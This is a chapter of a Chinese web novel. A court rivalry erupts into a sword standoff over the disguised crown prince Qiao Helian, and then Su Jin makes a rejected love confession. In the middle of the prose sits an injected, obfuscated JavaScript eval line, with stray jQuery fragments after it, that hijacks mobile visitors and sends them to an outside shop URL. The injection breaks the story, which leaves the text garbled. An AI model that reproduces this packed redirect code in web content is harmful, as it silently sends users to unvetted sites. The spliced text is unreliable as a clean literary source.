刚至暖阁外，苏觐便瞧见窗畔二人对坐挑促织的情形。姿态亲昵缱绻，看似专注于罐中斗蟀，实则头都快碰到一起了。
妒火烧穿他的神志，五脏六腑都似遭了炮烙，几乎要腾起白烟。
目睹此情此景，他只恨不能将觊觎太子的旁人全部斩尽杀绝。
他一言不发，三两步跨至矮几旁，一把捉过太子的手腕，强行将人从坐榻上提起来，不由分说便往暖阁外扯。
苏觐走路也没什么声音，几乎被虫鸣声掩盖，乔鹤练没料到他会直接闯进来，一瞬间懵了，脑中一片空白。
一路踉跄着被拽到了殿门外，她回过神来，立即挣扎着拼命甩脱，喊道：“你疯了！撒手！”
而卢允恭也快步紧随其后，扬声喝止：“站住！不可对殿下无礼！”
他说着便要上前，欲帮她挣脱桎梏。
忽听“唰啦”一声，寒光乍闪，竟是苏觐拔出守卫校尉腰间的雁翎刀，锋刃窄长尖锐，直指卢允恭咽喉。
刀光凛冽，杀意森严，硬生生将这探花翰林的步伐截停，苏觐一手执刀，一手仍紧箍她的腕子，冲着对面冷冷道：“滚。”
卢允恭的脸色变得异常难看。他静伫片刻，在缄默中倒退半步，转身回了殿内。
殿外校尉皆看傻了眼，面面相觑，不敢妄动。
“你做什么！放开我！”乔鹤练亦震惊于苏觐近乎疯狂的僭越之举，怒斥道，“你要造反吗？”
他眸光幽沉地注视她，修长的指节用了些劲，将她手腕捏得愈发的紧。酸涩的痛楚在骨肉间蔓延，她蹙了眉，没忍住闷哼一声：“弄疼我了！”
他手上这才卸了力，却没有松开，只是握得柔和了些，拇指轻缓挪动，似在小心地为她按揉伤处。
乔鹤练借机将手猛地甩开，转身欲往殿内走去，然而只一瞬，腕子便被他重新捉回。
他的声音宛如漱玉，泠然地落在她耳畔：“跟我回去。”
“不回。”乔鹤练果断拒绝，话语不含情绪，“放开我。光天化日的，拉拉扯扯，成何体统。”
苏觐不再说话，只是死死擒着她的手腕。他温暖的吐息携着淡雅的香草气，在她耳垂与鼻尖萦绕不绝。
是好闻的。但她此刻品不出半点旖旎，也无任何留恋，只是一门心思想远离他，躲得越远越好，焦躁地催促：
“我说，把手松开！”
话音刚落，她蓦地抬头，竟见卢允恭赫然从殿内踏出，手上亦持了一把利器。
青锋三尺，剑气清湛，犹如江海凝光。
“殿下说，松手。”他举着佩剑，拾级而下，“你没听见吗？”
苏觐漠然瞥向他，目光亦如淬过火的利刃：“卢世子，你是当真觉得，苏某不敢对你动手么？”
“敢不敢动手，那是你的事，”卢允恭神色沉静，“我只知道，我今日在此，便绝不容许你强行掳走殿下。”
“苏大人若不信的话，大可以试试。”
眼看二人已是刀剑相向的架势，乔鹤练急道：“你们有话说话，不要动手，先把兵刃收了！”
这太荒谬了。两个不通武艺的文臣，当着守卫武官们的面舞刀弄剑，也不嫌丢人。真怕他们还没赢过对方，先把自己给砍伤了。
可二人仍执刃对峙，寸步不让，场面肃杀而僵持。
“你们！还愣着做什么？”乔鹤练扭头喝令旁边的校尉，“快去把他们手里的兵器给下了！”
围观校尉们本就心惊肉跳，这两人一个是秦王妃之子，一个是越国公世子，都是王公贵胄，若真持械厮斗起来，无论伤着碰着哪一个，他们都没法交待。
可迫于苏觐的威势，谁也不敢率先上前拉架。
见太子发了话，他们总算有了行动的理由，赶忙上前抢夺武器。
实在是太危险了。校尉们皆提心吊胆，敛声屏气。
苏觐顺势将雁翎刀插还回校尉的刀鞘内，强压怒火道：“卢世子怕是受惊了，你们把他送回暖阁，好好休息。”
言罢，不管不顾地抓着太子，往行宫外围方向大步疾行。
“苏觐！”朔风亦如刀剑迎面，将脸割得生疼，乔鹤练切齿道，“你若是就这样强行将我拖回东宫，我这辈子都不会再与你说话！”
这话犹如惊雷，瞬时将苏觐劈醒。
他是被妒忮和忌恨冲昏了头脑，忘了自己此行的目的并非打杀泄恨，而是好言将太子劝回。
他习惯运筹帷幄，遇事皆安之若素。二十多年来，绝大多数情绪已压抑在躯壳深处，哪怕泰山压顶也不会轻易显露。
可面对太子之事，他总是难以自控，屡次做出失态之举。
他的确是气不过。好容易送走了阮蝉，这里又冒出一个卢允恭，太子身边总有源源不断的暧昧者，而太子又是那般一个美丽博爱之人！
他既忿忿不平，又恨得刻骨崩心，他想独占那一份恋慕而已，这是爱欲，是人之常情，不是什么弥天大错。
但此刻，他又开始恐慌，连指尖都在麻木地颤抖。他害怕，小人说得出做得到，真的会与他一刀两断。
那便是这世间最残忍的刑罚了。光是想一想，都令人丧胆销魂。
心不甘情不愿地松开手，他默默垂视着她，语气中有种别扭的恳切：“阮蝉，臣已经放了。”
乔鹤练安静地站着，听他说阮蝉之事。
阮蝉虽被锦衣卫缉拿入狱，但在喀兀人那边并没有暴露。巴雅尔未对她起疑心，她出去之后，依然可以联络上巴雅尔，继续潜伏刺探的任务。
于是苏觐便安排阮蝉在刑部监中假死，实际上将她秘密释放。阮蝉如今在京郊友人家中养伤，之后则会和喀兀人接头，声称是自己想办法越狱的。
与此同时，针对喀兀细作名单，锦衣卫已经暗中收网，很快就能知会北直隶其他府衙，在同一时间封锁城门，出兵抓捕，将绝大多数隐藏在民间的喀兀刺客清剿干净。
“我知道了。”乔鹤练道，“此事原是误会，所幸没有闹出人命，蝉娘没事就好。”
想不到小人的反应如此平淡，苏觐有些局促，试探道：“那，殿下跟臣回去？”
“不回。”乔鹤练心平气和，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696864|203689||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“行宫也挺好的，反正回到东宫，我对朝廷也没有多大用处，还不如在行宫，给父皇尽些孝道。”
“殿下是还在生臣的气么？”苏觐道，“此事是臣失策了，愿向殿下请罪。”
“殿下随臣回去，臣任凭处置，只要殿下解气。”
乔鹤练怀疑自己耳朵坏了，心中难免唏嘘，这辈子竟能从这个人口中听见这样低声下气的软话。
她思考片刻，解释道：“我没有生你的气，也不想把你怎么样。我现在只想留在行宫，和爹爹、卢哥哥待在一块。你回去吧，不必在意我的事情。”
这话很温和，苏觐却有如万箭穿心。
哪怕在漠北战场上遭遇突降暴雨，将火炮全部浇湿，面对横冲直撞的喀兀铁骑也能镇定指挥，不伤一兵一卒的他，顿时感到兵败如山的崩溃。
“什么叫，不必在意？”他不可置信地重复了一遍。
“就是君子之交淡若水①的意思。”乔鹤练道，“你不必太在意我，我也不必太在意你。”
“殿下方才的言论，臣不能接受，”苏觐矢口否认，“殿下那日不是这样说的，殿下明明说过……”
“恋慕么？”乔鹤练从容地打断。
心几乎提到嗓子眼，苏觐木然点头，不知道接下来会听到什么更为绝望的话。
“殿下果然是在捉弄臣么？这种话，竟都是信口胡说，视同儿戏的么？”
“不是。”乔鹤练摇头，口吻是释然的平静，“那日的话都是真话，发自肺腑，推心置腹的那种。”
“那，为什么，如今要说什么‘君子之交’？”苏觐近乎语无伦次。
“那日是恋慕，今日是君子之交，这并不冲突。”乔鹤练心同止水，“难道在这世上，无论发生什么，一个人的心意都是一成不变的吗？”
苏觐茫然混沌，他感到天塌地陷，身体里也有东西在崩裂坍塌。
一颗心犹如被猛兽撕咬，被蛊虫啃噬，痛苦到无以复加。
就像坠崖之人奋力攀住峭壁上的横木，他慌不择路，以至于脱口而出：“那日，臣没有说实话，臣其实，非常爱慕殿下，从那日之前，甚至更早……”
“你怎么变来变去的？”乔鹤练只觉得莫名其妙，“一会儿说没有倾慕的人，一会儿又说有失散的未婚妻，这会儿又跟我说恋慕。”
“这太荒唐了，我不明白你说的哪句才是真话。”她认真道，“反倒是我，无论那日还是今日，对你说的都是千真万确的实话。坦诚一点，不好么？”
“殿下只需知道，我倾慕于你。”他定定地望着她，眸中墨色浓郁，睫羽低垂，俨然已魂不守舍。
“好的，我知道了。”乔鹤练点头，“但是我没有更多要说的了，因为现在的我，对你已经没有那种心思了。”
“你回去吧，我还是那句话，我不会怪你，也没有在同你闹脾气，因此，你不必请求我的原谅，或者宽宥。”
“我也不想处置你，我又不是暴君，也做不来酷吏。”她唇角微微扬起，说到“酷吏”二字时，还刻意加重了语气，仿佛意有所指。